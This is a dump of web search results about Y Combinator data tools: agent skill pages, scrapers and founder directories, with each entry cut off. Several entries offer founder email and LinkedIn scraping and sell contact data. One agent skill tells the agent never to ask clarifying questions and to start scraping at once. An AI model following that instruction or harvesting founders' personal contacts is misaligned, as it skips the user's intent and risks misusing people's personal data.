skill\n\nAdds up to 20 points to the overall score\n\n[View guide](https://docs.tessl.io/evaluate/evaluate-skill-quality-using-scenarios)\n\nSecurityby![Snyk](/assets/logos/snyk.svg)\n\nLow\n\nLow-risk findings worth noting\n\n# Y Combinator Reader (Read-Only)\n\nFetches Y Combinator company data from the [yc-oss/api](https://github.com/yc-oss/api), an unofficial open-source API that indexes all publicly launched YC companies. The data is sourced from YC's Algolia search index and updated daily via GitHub Actions.\n\n**This is a read-only data source.** It provides company profiles, batch listings, industry/tag breakdowns, hiring status, and diversity data. No write operations exist \u2014 the API serves static JSON files.\n\n**No authentication required.** The API is public and free. Just use `curl` to fetch JSON endpoints.\n\n---\n\n## Step 1: Verify Prerequisites\n\nThis skill only needs `curl` (to fetch data) and `jq` (to parse/filter JSON). Both are pre-installed on most systems.\n\n```\n !`(command -v curl > /dev/null && echo \"CURL_OK\" || echo \"CURL_MISSING\") && (command -v jq > /dev/null && echo \"JQ_OK\" || echo \"JQ_MISSING\")`\n```\n\nIf `JQ_MISSING`, install it:\n\n```\n # macOS brew install jq # Linux (Debian/Ubuntu) sudo apt-get install jq\n```\n\nIf `jq` is unavailable, you can still fetch raw JSON with `curl` and parse it inline with Python or other tools \u2014 but `jq` makes filtering much easier.\n\n---\n\n## Step 2: Identify What the User Needs\n\nMatch the user's request to the appropriate endpoint. See `references/api_reference.md` for full details.\n\n| User Request | Endpoint | Notes |\n|---|---|---|\n| Overall YC stats | `meta.json` | Company count, batch list, industry/tag lists |\n| All companies | `companies/all.json` | Full dataset (~5,700 companies) \u2014 large response |\n| Top companies | `companies/top.json` | ~91 top-performing YC companies |\n| Companies hiring | `companies/hiring.json` | ~1,400 currently hiring |\n| Non-profit companies | `companies/nonprofit.json` | YC-backed non-profits |\n| Diversity data | `companies/black-founded.json`, `hispanic-latino-found" }, { "url": "https://github.com/skyqueentechhunter/y-combinator-founders", "title": "GitHub - skyqueentechhunter/y-combinator-founders: Y Combinator founder data", "content_head": "# Y Combinator Founders Scraper\n\nA powerful tool to collect and structure detailed information about Y Combinator founders in a clean, searchable format. It helps users quickly discover founder profiles, company associations, and industry backgrounds from one of the world\u2019s most influential startup ecosystems.\n\nDesigned for accuracy and flexibility, this project enables filtered access to founder data for research, analysis, and business intelligence use cases.\n\n[ ![Bitbash Banner](https://github.com/Z786ZA/Footer-test/raw/main/media/scraper.png)](https://bitbash.dev)\n\n[ ![Telegram](https://camo.githubusercontent.com/559cb85a48c5e0c709638d368846fbdc54386fb93da1639c9bbeebb00331c93c/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f436861742532306f6e2d54656c656772616d2d3243413545303f7374796c653d666f722d7468652d6261646765266c6f676f3d74656c656772616d266c6f676f436f6c6f723d7768697465) ](https://t.me/Bitbash333) [ ![WhatsApp](https://camo.githubusercontent.com/3a79d6cb7dbf78a4488c60c5a8066926bc51cf5bb8d2698e157eebcda4c34be3/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f436861742d57686174734170702d3235443336363f7374796c653d666f722d7468652d6261646765266c6f676f3d7768617473617070266c6f676f436f6c6f723d7768697465) ](https://wa.me/923249868488?text=Hi%20BitBash%2C%20I'm%20interested%20in%20automation.) [ ![Gmail](https://camo.githubusercontent.com/9074d35d64de225399f0bdb0d4d2c299727623af85bebd57321e23422b24bd4d/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f456d61696c2d73616c6540626974626173682e6465762d4541343333353f7374796c653d666f722d7468652d6261646765266c6f676f3d676d61696c266c6f676f436f6c6f723d7768697465) ](mailto:sale@bitbash.dev) [ ![Website](https://camo.githubusercontent.com/8859cf608470112e7bbfe1291815edee32aab75a9882527e6033915617ba3e95/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f56697369742d576562736974652d3030374246463f7374796c653d666f722d7468652d6261646765266c6f676f3d676f6f676c652d6368726f6d65266c6f676f436f6c6f723d7768697465) ](https://bitbash.dev)\n\n Created by Bitbash, built to showcase our approach to Scraping and Automation!\n If you are looking for **y-combinator-founders** you've just found your team \u2014 Let\u2019s Chat. \ud83d\udc46\ud83d\udc46\n\n## Introduction\n\nThis project retrieves structured founder profiles associated with Y Combinator and outputs them as a clean dataset. It solves the problem of fragmented founder information by centralizing key identity, company, and industry details. It is ideal for researchers, investors, analysts, and startup ecosystem builders.\n\n### Founder Intelligence Dataset\n\n- Collects individual founder profiles with rich metadata\n- Supports flexible filtering by name and company\n- Outputs normalized, analysis-ready data\n- Suitable for automation, research, and analytics workflows\n\n## Features\n\n| Feature | Description |\n|---|---|\n| Founder Filtering | Filter founders by first name, last name, or company name. |\n| Limit Control | Restrict the number of returned founder profiles. |\n| Rich Profiles" }, { "url": "https://huggingface.co/datasets/rdjarbeng/yc-rfs-analysis-2026", "title": "rdjarbeng/yc-rfs-analysis-2026 \u00b7 Datasets at Hugging Face", "content_head": "#\n\nThe dataset is currently empty. [Upload or create new data files](/datasets/rdjarbeng/yc-rfs-analysis-2026/tree/main). Then, you will be able to explore them in the Dataset Viewer.\n\n# \ud83d\uded2 YC's Shopping List: What the World's Top Accelerator Is Begging Founders to Build (Summer 2026)\n\n> **A founder's field guide to Y Combinator's Request for Startups \u2014 decoded, ranked, mapped to real opportunities, and tracked across 17 years of evolution.**\n\n*Primary Source: [ycombinator.com/rfs](https://www.ycombinator.com/rfs) \u2014 Summer 2026 Edition | Analysis compiled April 2026*\n\n---\n\n## TL;DR\n\nY Combinator's Request for Startups (RFS) is their public wishlist \u2014 the ideas they *actively want* founders to pitch. Think of it as a cheat code: you don't have to guess what YC wants to fund. They tell you.\n\nThe Summer 2026 edition marks a decisive shift. Gone are the broad sector labels (\"Healthcare,\" \"Defense,\" \"Energy\"). In their place: **16 hyper-specific bets** \u2014 each written by a named YC partner, each reading like a mini-thesis on exactly why *now* is the moment for *this* company to exist.\n\nThe message: **AI has stopped being a feature and started being the foundation. Now wire it into the physical world \u2014 silicon, agriculture, space, defense, and the operating system of every company on Earth.**\n\n---\n\n## \ud83d\udccb Table of Contents\n\n1. The 16 Categories at a Glance\n2. Deep Dive: Every Category Explained\n3. How the RFS Has Evolved: 2009 \u2192 2026\n4. The Interdisciplinary Sweet Spots \ud83d\udd00\n5. Who's Already in the Arena: Customers & Competitors\n6. Founder Backgrounds That Give You an Edge\n7. The Build Difficulty Ranking: Weekend MVP to Moon Mission \ud83c\udf19\n8. Bonus: Ideas YC Didn't List But Should Have\n9. Final Thoughts: How to Actually Use This List\n\n---\n\n## The 16 Categories at a Glance\n\n| # | Category | YC Partner | Domain(s) | Atoms or Bits? |\n|---|---|---|---|---|\n| 1 | AI for Low-Pesticide Agriculture | Garry Tan | AgTech / AI / Biotech | \ud83c\udf3e Atoms |\n| 2 | AI-Native Service Companies | Gustaf Alstr\u00f6mer | Enterprise / AI | \ud83d\udcbc Bits |\n| 3 | AI Personalized Medicine | Ankit Gupta | Healthcare / Genomics / AI | \ud83e\uddec Both |\n| 4 | Company Brain | Tom Blomfield | Enterprise / Knowledge Mgmt | \ud83e\udde0 Bits |\n| 5 | Counter-Swarm Defense | Tyler Bosmeny | Defense / Hardware / AI | \ud83d\udee1\ufe0f Atoms |\n| 6 | Dynamic Software Interfaces | Ankit Gupta | Developer Tools / AI / UX | \ud83d\udcbb Bits |\n| 7 | Electronics in Space | Philip Johnston | Aerospace / Semiconductors | \ud83d\ude80 Atoms |\n| 8 | Hardware Supply Chain | Nicolas Dessaigne | Manufacturing / Logistics | \u2699\ufe0f Atoms |\n| 9 | Industrial Capabilities in Space | Adi Oltean | Aerospace / Manufacturing | \ud83c\udf19 Atoms |\n| 10 | Inference Chips for Agent Workflows | Diana Hu | Semiconductors / AI | \ud83d\udd27 Atoms |\n| 11 | SaaS Challengers | Jared Friedman | Enterprise Software | \u2694\ufe0f Bits |\n| 12 | Software for Agents | Aaron Epstein | Developer Tools / AI Infra | \ud83e\udd16 Bits |\n| 13 | Startups Selling to Huge Companies | Harshita Arora & Brad Flora | Enterprise Sales / AI | \ud83c\udfe2 Bits |\n| 14 | Suppl" }, { "url": "https://apify.com/fatihtahta/y-combinator-directory-scraper?fpr=python_automation", "title": "Y Combinator Scraper with Founders & Emails \u00b7 Apify", "content_head": "![Y Combinator Scraper with Founders & Emails avatar](https://images.apifyusercontent.com/QlsHMItIjYGedC0XQqsoUWh8Et4qdMPzc_B72qXDX2s/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vdG9aTkxYVnBGajlBNUZjeTMtYWN0b3ItRUw5U0pBNkpPajFybE0wTE4tdTlod0xhVHJGTy1jaGFubmVsczRfcHJvZmlsZS5qcGc.webp)\nY Combinator Scraper with Founders & Emails\n\n![Y Combinator Scraper with Founders & Emails](https://images.apifyusercontent.com/QlsHMItIjYGedC0XQqsoUWh8Et4qdMPzc_B72qXDX2s/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vdG9aTkxYVnBGajlBNUZjeTMtYWN0b3ItRUw5U0pBNkpPajFybE0wTE4tdTlod0xhVHJGTy1jaGFubmVsczRfcHJvZmlsZS5qcGc.webp)\n\n# Y Combinator Directory Scraper with Founder Emails\n\n**Slug:** fatihtahta/y-combinator-directory-scraper\n\nThis actor is built upon the [ValidatedMails.com](https://validatedmails.com) architecture for email enrichment workflows.\n\n## Overview\n\nThis actor collects structured Y Combinator company profiles, founder details (including emails), and related public context such as news and jobs when present.\n\nIt captures key company attributes like name, industry, batch, team size, locations, and status, along with social links and founder roles. The data is sourced from [https://www.ycombinator.com/companies](https://www.ycombinator.com/companies), a widely used directory for tracking YC-backed companies and market activity. Results are delivered as consistent JSON records, enabling repeatable analysis and reliable downstream use. The automation saves manual research time while keeping outputs structured and easy to process.\n\nFor broad YC directory searches, the actor automatically partitions large Algolia result sets by batch and subindustry so it can keep collecting beyond the search API's 1000-hit window.\n\n## Why Use This Actor\n\n- **Market research / analytics:** Build datasets of YC companies to analyze batches, industries, locations, and growth patterns.\n- **Product & content teams:** Discover companies by keyword or category to inform content planning and product positioning.\n- **Developers / data engineering pipelines:** Feed structured company records into analytics tools, warehouses, or internal directories.\n- **Lead gen / enrichment:** Identify founders and company context to enrich outreach and qualification workflows.\n- **Monitoring / competitive tracking:** Track changes in hiring status, public/private status, or category coverage over time.\n\n## Input Parameters\n\nProvide any combination of URLs, queries, and filters\u2026\n\n| Parameter | Type | Description | Default |\n|---|---|---|---|\n| `topCompanies` | `boolean` | When enabled, return only YC\u2019s top companies. | \u2013 |\n| `isHiring` | `boolean` | When enabled, return only companies actively hiring. | \u2013 |\n| `nonprofit` | `boolean` | When enabled, return only companies marked as nonprofit. | \u2013 |\n| `queries` | `string[]` | Keywords to discover companies (e.g., product, market, or location). Us" }, { "url": "https://apify.com/red.cars/yc-new-founders-tracker", "title": "YC New Founders Tracker MCP \u00b7 Apify", "content_head": "YC New Founders Tracker MCP\n\nTrack new Y Combinator founders from YCDB.io as they announce their startups, enriching profiles with LinkedIn data, funding history, and hiring signals for actionable startup intelligence.\n\n## Overview\n\nMonitor the latest Y Combinator batches to discover newly funded founders before they appear in mainstream tech news. YCDB.io aggregates YC company data including batch assignments, founder names, and company descriptions. Within days of demo day, founders update LinkedIn profiles, raise seed rounds, and begin hiring\u2014creating a narrow window of opportunity for investors, recruiters, and partners who move fast. This actor automates batch monitoring and founder enrichment so you never miss a cohort's emerging talent.\n\n## Features\n\n- **YCDB batch discovery**: Access all YC companies by batch code (W25, S24, W24, etc.) with sector filtering\n- **LinkedIn profile enrichment**: Get founder LinkedIn URLs, previous companies, and career history\n- **Funding intelligence**: Estimated total raised and valuation figures for portfolio tracking\n- **Hiring signal detection**: Identify founders actively recruiting engineers, designers, or sales staff\n- **Tech stack extraction**: Detect programming languages, frameworks, and cloud providers from company websites\n- **CRM-ready output**: Structured JSON formatted for direct import into HubSpot, Salesforce, or Airtable\n- **Sector filtering**: Narrow results by healthcare, fintech, AI/ML, devtools, consumer, or cross-category\n- **Batch history access**: Query any historical YC batch back to 2005\n\n## Use Cases\n\n- **Pre-seed sourcing**: Identify promising founders in AI, biotech, and infrastructure before they announce funding\u2014position ahead of VCs who move at demo day\n- **Talent acquisition**: Surface YC founders actively hiring engineers; reach out within the first two weeks post-demo when inboxes are still manageable\n- **Competitive intelligence**: Track which sectors YC is betting on by monitoring batch composition and sector distribution shifts across seasons\n- **Deal flow enrichment**: Add YC batch companies to your CRM with enriched founder profiles, estimated valuations, and hiring status automatically populated\n- **Hiring trend analysis**: Detect emerging demand signals by tracking which tech stacks and roles YC companies are recruiting for in real-time\n- **Investor relationship building**: Build warm introducer networks by mapping founder connections to previous companies and identifying mutual contacts\n\n## Quick Start\n\n### Prerequisites\n\n- Apify account (free tier available)\n- Node.js 18+ for local testing\n- LinkedIn API access (optional, for full enrichment)\n\n### 1-minute setup\n\n```\n# Install Apify CLInpm install -g apify-cli\n# Clone the actorapify actors:create yc-new-founders-tracker\n# Set environment variableexport APIFY_TOKEN=your_apify_token\n# Run locally with sector filternode main.js --batch W25 --sector healthcare --maxResults 5\n```\n\n### MCP Quick Start\n\n```\n{ \"toolName\"" }, { "url": "https://veonib.com/trends/yc-company-explorer", "title": "ExploreYC \u2014 VEONIB", "content_head": "## Why a YC Startup Database Matters to Your Cross-Border Operation\n\nIf you run an Amazon FBA business, a Shopify DTC brand, or a multi-marketplace operation, your biggest strategic advantage is not your ad spend or your supply chain\u2014it\u2019s your ability to see what\u2019s coming before your competitors do. New tools, new logistics models, new payment rails, new advertising channels: they almost always appear first in the startup ecosystem, and almost always in the portfolios of top accelerators like Y Combinator and top VCs like a16z. The problem is that finding and monitoring those startups has been a manual, fragmented mess\u2014bouncing between YC\u2019s directory, a16z\u2019s site, Crunchbase, LinkedIn, and a dozen browser tabs. [ExploreYC](https://www.producthunt.com/products/yc-company-explorer/launches/exploreyc) just turned that mess into a single, open-source REST API covering 6,800+ YC and a16z companies, with cleaned data you can query, script, and build on. For cross-border operators, this isn\u2019t a nice-to-have\u2014it\u2019s a competitive intelligence layer you can start using this week.\n\n## The Data Problem That Every Cross-Border Seller Knows Too Well\n\nYour product research process probably looks like this: you spot a trend on TikTok Shop, run a Helium 10 product tracker, check Jungle Scout for historical sales data, and maybe glance at Google Trends. That works for fast-moving consumer goods. But when you\u2019re looking for the *next* piece of infrastructure\u2014a new fulfillment startup, a cross-border payment rail that might cut your FX costs by 2%, an AI tool that automates listing optimization for non-English markets\u2014you\u2019re stuck with the same manual grind that any startup investor faces. You open YC\u2019s directory (if you even know how to navigate it), then a16z\u2019s portfolio page, then start cross-referencing on [Crunchbase](https://www.crunchbase.com), which requires a Pro subscription to see funding history. Then you search LinkedIn to find the founders. Then you check if the company is still alive or quietly dead.\n\nThat\u2019s exactly the pain point Konstantin Borimechkov, the maker of ExploreYC, describes in his launch post: \u201cI was prepping my YC application. I wanted to know: has anyone already done this idea? YC\u2019s search gave me nothing useful. So I spent a weekend scraping their Algolia API, built a local database, ran embeddings against my pitch. and found 3 companies that had tried it.\u201d ([source](https://www.producthunt.com/p/yc-company-explorer/why-i-built-a-yc-database-at-2am)). The same frustration applies to cross-border sellers trying to identify new tools or competitive threats. The data exists, but it\u2019s scattered behind different interfaces, paywalls, and inconsistent schemas.\n\nExploreYC\u2019s API solves this by offering a single endpoint (`https://api.exploreyc.com/api/v1`) where you can filter by VC source (`yc`, `a16z`, or `all`), batch, industry, country, hiring status, or full-text search. You can pull company details by ID or slug, including funding stage, " }, { "url": "https://tessl.io/registry/skills/github/gooseworks-ai/goose-skills/yc-batch-evaluator", "title": "Tessl \u2022 The package manager for agent skills", "content_head": "## yc-batch-evaluator\n\nEvaluate YC batch companies for investment \u2014 scrapes the YC directory, researches each company and its founders (work history, LinkedIn, website), assesses founder-company fit, and exports to Google Sheets with priority rankings. Use when asked to evaluate YC companies, research a YC batch, screen startups, or do due diligence on YC companies.\n\n62\n\nQuality\n\n75%\n\nDoes it follow best practices?\n\nRun evals on this skill\n\nAdds up to 20 points to the overall score\n\n[View guide](https://docs.tessl.io/evaluate/evaluate-skill-quality-using-scenarios)\n\nSecurityby![Snyk](/assets/logos/snyk.svg)\n\nLow\n\nLow-risk findings worth noting\n\nFix and improve this skill with Tessl\n\n```\n tessl review fix ./skills/lead-generation/capabilities/yc-batch-evaluator/SKILL.md\n```\n\n# YC Batch Evaluator\n\n## Setup\n\nRead your credentials from ~/.gooseworks/credentials.json:\n\n```\n export GOOSEWORKS_API_KEY=$(python3 -c \"import json;print(json.load(open('$HOME/.gooseworks/credentials.json'))['api_key'])\") export GOOSEWORKS_API_BASE=$(python3 -c \"import json;print(json.load(open('$HOME/.gooseworks/credentials.json')).get('api_base','https://api.gooseworks.ai'))\")\n```\n\nIf ~/.gooseworks/credentials.json does not exist, tell the user to run: `npx gooseworks login`\n\nAll endpoints use Bearer auth: `-H \"Authorization: Bearer $GOOSEWORKS_API_KEY\"`\n\nScrape a YC batch, research every company and founder, assess founder-company fit, and export a live-updating Google Sheet with priority rankings. Designed for investors evaluating YC companies.\n\n## IMPORTANT: Do NOT ask clarifying questions. Just start immediately.\n\nAll inputs are optional. If the user said a batch, use it. If they didn't specify sectors or thesis, process ALL companies. **Always create a new Google Sheet** \u2014 never ask for an existing spreadsheet ID. **Start scraping immediately \u2014 do not ask \"which batch?\", \"any sector filters?\", or \"should I create a sheet?\".** This is designed for live demos where speed and visual impact matter.\n\n\"Spring 2026\" is a real YC batch (also called \"X26\"). It exists and has ~22 companies.\n\n## Input\n\n- **batch** (optional) \u2014 defaults to \"Spring 2026\". Examples: \"Winter 2026\", \"Summer 2025\"\n- **sectors** (optional) \u2014 filter to specific sectors (e.g. \"AI\", \"fintech\", \"infrastructure\"). If not provided, process ALL companies.\n- **thesis** (optional) \u2014 investor's focus areas for tailored scoring and ranking. If not provided, rank on general investment quality.\n\n## Step 1: Scrape the YC Batch Directory\n\nThe YC companies page is JavaScript-rendered (Algolia-powered). Scrapegraph handles the JS rendering.\n\n```\n curl -s -X POST $GOOSEWORKS_API_BASE/v1/proxy/orthogonal/run \\ -H \"Authorization: Bearer $GOOSEWORKS_API_KEY\" \\ -H \"Content-Type: application/json\" \\ -d '{\"api\":\"scrapegraph\",\"path\":\"/v1/smartscraper\"}' \"website_url\": \"https://www.ycombinator.com/companies?batch={batch_url_encoded}\", \"user_prompt\": \"Extract every company listed: company name, one-line description, sector/tags, " }, { "url": "https://ycfounderlist.com/year/2025", "title": "YC 2025 Founder Directory \u2014 Every Company & Founder", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\n# YC 2025 Founder Directory\n\nEverything we have on Y Combinator's 2025 cohort: 428 companies across 4 batches (F25, S25, W25, X25), 708 founders total, 607 with verified contact data.\n\nLast updated: June 2026\n\n607 verified contacts\n\nCSV + TSV download\n\nAll 4 2025 batches \u00b7 Use code JUNE2026 for 33% off\n\n## All 2025 YC companies\n\n428 companies, alphabetical. Each one's full founder roster is in the 2025 bundle.\n\n851\n\nX25\n\na0.dev\n\nW25\n\nAbsurd\n\nF25\n\nAdam\n\nW25\n\nAdmyral\n\nW25\n\nAegis\n\nX25\n\nAfterQuery\n\nW25\n\nAgentin AI\n\nW25\n\nAgentMail\n\nS25\n\nAirCaps\n\nF25\n\nAirweave\n\nX25\n\nAleph Lab\n\nF25\n\nAlice.tech\n\nW25\n\nAlkali Engineering\n\nX25\n\nAllus AI\n\nF25\n\nAlmond\n\nX25\n\nAlter AI\n\nS25\n\nAltur\n\nS25\n\nAmera\n\nF25\n\nAmika\n\nF25\n\nAnswerThis\n\nF25\n\nAntigen\n\nF25\n\nAnto Biosciences\n\nF25\n\nAnvil\n\nX25\n\nApproval AI\n\nX25\n\nApril\n\nS25\n\nArcten\n\nF25\n\nArtifact\n\nW25\n\nArtificial Societies\n\nW25\n\nAside\n\nF25\n\nAspect\n\nF25\n\nAsteroid\n\nW25\n\nAthenaHQ\n\nW25\n\nAtlasGrid\n\nF25\n\nAtlog\n\nX25\n\nAttune\n\nX25\n\nAtum Works\n\nX25\n\nAugento\n\nW25\n\nAutomax.ai\n\nF25\n\nAutonomous Technologies Group\n\nF25\n\nAutosana\n\nS25\n\nAvallon AI\n\nX25\n\nAxiom\n\nW25\n\nb-12\n\nS25\n\nBeluga Labs\n\nX25\n\nBetter Auth\n\nX25\n\nBild AI\n\nW25\n\nBitBoard\n\nX25\n\nBlaxel\n\nX25\n\nBlindPay\n\nW25\n\nBloom\n\nX25\n\nBlueshoe\n\nX25\n\nBluma\n\nF25\n\nBolna AI\n\nF25\n\nBOND\n\nX25\n\nBoom AI\n\nF25\n\nBootLoop\n\nS25\n\nBravi\n\nF25\n\nBrickanta\n\nF25\n\nBrickwise\n\nF25\n\nBron\n\nF25\n\nCactus\n\nS25\n\nCactus\n\nX25\n\nCaddy\n\nF25\n\nCalltree AI\n\nW25\n\nCapacitive\n\nX25\n\nCardamon\n\nW25\n\ncareCycle\n\nW25\n\nCareSwift\n\nS25\n\nCaseflood.ai\n\nW25\n\nCasey\n\nF25\n\nCaucus\n\nX25\n\nCedar\n\nW25\n\nCenote\n\nW25\n\nCertus AI\n\nS25\n\nChannel3\n\nS25\n\nChonkie\n\nX25\n\nchrt\n\nW25\n\nchrt\n\nX25\n\nClad Labs\n\nF25\n\nclado\n\nX25\n\nClarm\n\nX25\n\nCleon\n\nX25\n\nClicks\n\nF25\n\nClidey\n\nX25\n\nCoasts\n\nF25\n\nCodyco\n\nF25\n\nCombinely\n\nX25\n\nComplyDo\n\nF25\n\nCompyle\n\nF25\n\nConfident AI\n\nW25\n\nCONNTOUR\n\nW25\n\nContrario\n\nW25\n\nConvexia\n\nS25\n\nCopyCat\n\nW25\n\nCornell University\n\nW25\n\nCortex AI\n\nF25\n\nCotool\n\nX25\n\nCranston AI\n\nF25\n\nCrimson\n\nX25\n\nCrunched\n\nF25\n\ncubic\n\nX25\n\nCyberdesk\n\nS25\n\nDalus\n\nW25\n\ndari.dev\n\nF25\n\nDartboard Energy\n\nW25\n\nDash\n\nS25\n\nDeeptrace\n\nF25\n\nDelineate\n\nW25\n\nDelty\n\nX25\n\nDemeter\n\nW25\n\nDen\n\nX25\n\nDenki\n\nF25\n\nDigipals\n\nF25\n\nDiligenceSquared\n\nF25\n\nDocket\n\nX25\n\nDollyglot\n\nW25\n\nDome\n\nF25\n\ndScribe AI\n\nS25\n\nEdexia\n\nW25\n\nEfference\n\nF25\n\nEgress Health\n\nW25\n\nEloquent AI\n\nX25\n\nEmbedder\n\nS25\n\nemojis.com\n\nW25\n\nEnhanced Radar\n\nW25\n\nErgo\n\nW25\n\nEverest\n\nF25\n\nExcellence AI\n\nW25\n\nExin Therapeutics\n\nW25\n\nExonic\n\nF25\n\nExpected Parrot\n\nF25\n\nFastshot\n\nF25\n\nFernstone\n\nF25\n\nFifth Door\n\nF25\n\nfinbar\n\nW25\n\nFinto\n\nS25\n\nFlick\n\nF25\n\nFlott HQ\n\nX25\n\nFlywheel AI\n\nS25\n\nForge Automation\n\nW25\n\nForge Robotics\n\nF25\n\nFreeport Markets\n\nF25\n\nFrekil\n\nX25\n\nFuseAI\n\nW25\n\nG LNK\n\nW25\n\nGale\n\nW25\n\nGalen AI\n\nX25\n\nGeneral Agency\n\nW25\n\nGeneral Trajectory\n\nW25\n\nGodela\n\nX25\n\nGoldbridge\n\nF25\n\nGolf\n\nX25\n\nGolpo\n\nS25\n\nGradeWiz\n\nW25\n\nGulp\n\nW25\n\nHABIT\n\nX25\n\nHarbera\n\nW25\n\nHedge\n\nF25\n\nHelixDB\n\nX25\n\nHelonic\n\nF25\n\nHemut\n\nX25\n\nHera\n\nS25\n\nHerdora\n\nS25\n\nhillclimb\n\nF25\n\nHuman Behavior\n\nX25\n\nHumoniq\n\nS2" }, { "url": "https://claudemarket.ai/skills/himself65/finance-skills/yc-reader", "title": "Y Combinator Reader (Read-Only) Skill for Claude Code & OpenClaw | Claude Market", "content_head": "![yc-reader logo](https://github.com/himself65.png?size=80)\n\n# yc-reader\n\n[himself65/finance-skills](https://github.com/himself65/finance-skills)\n709 installs3K stars\n\n[Run it on Hostinger, 20% off \u2192](https://www.hostinger.com/cart?product=vps%3Avps_kvm_4&period=12&referral_type=cart_link&REFERRALCODE=1RJLINFOCMAQ&referral_id=019fcd1b-d0fc-7050-a273-7e4a7a492e6b)Your friend gets 20% off too, using this link[Free API \u2192](/api)|External DownloadsCommand ExecutionPrompt Injection|[View on GitHub](https://github.com/himself65/finance-skills)|[Create your own skill \u2192](/skills/create)\n\nInstallation\n\n`npx skills add https://github.com/himself65/finance-skills --skill yc-reader`\n\nSummary\n\n>\n\nSKILL.md\n\n## Y Combinator Reader (Read-Only)\n\nFetches Y Combinator company data from the [yc-oss/api](https://github.com/yc-oss/api), an unofficial open-source API that indexes all publicly launched YC companies. The data is sourced from YC's Algolia search index and updated daily via GitHub Actions.\n\n**This is a read-only data source.** It provides company profiles, batch listings, industry/tag breakdowns, hiring status, and diversity data. No write operations exist \u2014 the API serves static JSON files.\n\n**No authentication required.** The API is public and free. Just use `curl` to fetch JSON endpoints.\n\n---\n\n### Step 1: Verify Prerequisites\n\nThis skill only needs `curl` (to fetch data) and `jq` (to parse/filter JSON). Both are pre-installed on most systems.\n\n```\n !`(command -v curl > /dev/null && echo \"CURL_OK\" || echo \"CURL_MISSING\") && (command -v jq > /dev/null && echo \"JQ_OK\" || echo \"JQ_MISSING\")`\n```\n\nIf `JQ_MISSING`, install it:\n\n```bash\n # macOS brew install jq # Linux (Debian/Ubuntu) sudo apt-get install jq\n```\n\nIf `jq` is unavailable, you can still fetch raw JSON with `curl` and parse it inline with Python or other tools \u2014 but `jq` makes filtering much easier.\n\n---\n\n### Step 2: Identify What the User Needs\n\nMatch the user's request to the appropriate endpoint. See `references/api_reference.md` for full details.\n\n| User Request | Endpoint | Notes |\n|---|---|---|\n| Overall YC stats | `meta.json` | Company count, batch list, industry/tag lists |\n| All companies | `companies/all.json` | Full dataset (~5,700 companies) \u2014 large response |\n| Top companies | `companies/top.json` | ~91 top-performing YC companies |\n| Companies hiring | `companies/hiring.json` | ~1,400 currently hiring |\n| Non-profit companies | `companies/nonprofit.json` | YC-backed non-profits |\n| Diversity data | `companies/black-founded.json`, `hispanic-latino-founded.json`, `women-founded.json` | Founder diversity |\n| Specific batch | `batches/{batch-name}.json` | e.g., `winter-2026.json`, `spring-2026.json`, `fall-2025.json` |\n| Single company profile | `batches/{batch-name}/{slug}.json` | e.g., `batches/summer-2009/stripe.json`, `batches/winter-2009/airbnb.json` |\n| By industry | `industries/{industry}.json` | e.g., `fintech.json`, `healthcare.json` |\n| By tag | `tags/{tag}.json` | e.g., `ai.js" }, { "url": "https://apify.com/obsidian937/yc-companies-scraper/api/openapi", "title": "Y Combinator Companies Scraper: Startups by Batch & Industry OpenAPI definition \u00b7 Apify", "content_head": "![Y Combinator Companies Scraper avatar](https://apify.com/img/store/actor_picture.svg)\nY Combinator Companies Scraper\n\n![Y Combinator Companies Scraper](https://apify.com/img/store/actor_picture.svg)\n\n[![Python](https://apify.com/img/template-icons/python.svg)](/obsidian937/yc-companies-scraper/api/python)[![JavaScript](https://apify.com/img/template-icons/javascript.svg)](/obsidian937/yc-companies-scraper/api/javascript)[![OpenAPI](https://apify.com/img/icons/openapi.svg)](/obsidian937/yc-companies-scraper/api/openapi)\n\n```\n { \"openapi\" : \"3.0.1\" , \"info\" : { \"version\" : \"1.0\" , \"x-build-id\" : \"2VUJva1AhzOkGjRWj\" } , \"servers\" : [ { \"url\" : \"https://api.apify.com/v2\" } ] , \"paths\" : { \"/acts/obsidian937~yc-companies-scraper/run-sync-get-dataset-items\" : { \"post\" : { \"operationId\" : \"run-sync-get-dataset-items-obsidian937-yc-companies-scraper\" , \"x-openai-isConsequential\" : false , \"summary\" : \"Executes an Actor, waits for its completion, and returns Actor's dataset items in response.\" , \"tags\" : [ \"Run Actor\" ] , \"requestBody\" : { \"required\" : true , \"content\" : { \"application/json\" : { \"schema\" : { \"$ref\" : \"#/components/schemas/inputSchema\" } } } } , \"parameters\" : [ { \"name\" : \"token\" , \"in\" : \"query\" , \"required\" : true , \"schema\" : { \"type\" : \"string\" } , \"description\" : \"Enter your Apify token here\" } ] , \"responses\" : { \"200\" : { \"description\" : \"OK\" } } } } , \"/acts/obsidian937~yc-companies-scraper/runs\" : { \"post\" : { \"operationId\" : \"runs-sync-obsidian937-yc-companies-scraper\" , \"x-openai-isConsequential\" : false , \"summary\" : \"Executes an Actor and returns information about the initiated run in response.\" , \"tags\" : [ \"Run Actor\" ] , \"requestBody\" : { \"required\" : true , \"content\" : { \"application/json\" : { \"schema\" : { \"$ref\" : \"#/components/schemas/inputSchema\" } } } } , \"parameters\" : [ { \"name\" : \"token\" , \"in\" : \"query\" , \"required\" : true , \"schema\" : { \"type\" : \"string\" } , \"description\" : \"Enter your Apify token here\" } ] , \"responses\" : { \"200\" : { \"description\" : \"OK\" , \"content\" : { \"application/json\" : { \"schema\" : { \"$ref\" : \"#/components/schemas/runsResponseSchema\" } } } } } } } , \"/acts/obsidian937~yc-companies-scraper/run-sync\" : { \"post\" : { \"operationId\" : \"run-sync-obsidian937-yc-companies-scraper\" , \"x-openai-isConsequential\" : false , \"summary\" : \"Executes an Actor, waits for completion, and returns the OUTPUT from Key-value store in response.\" , \"tags\" : [ \"Run Actor\" ] , \"requestBody\" : { \"required\" : true , \"content\" : { \"application/json\" : { \"schema\" : { \"$ref\" : \"#/components/schemas/inputSchema\" } } } } , \"parameters\" : 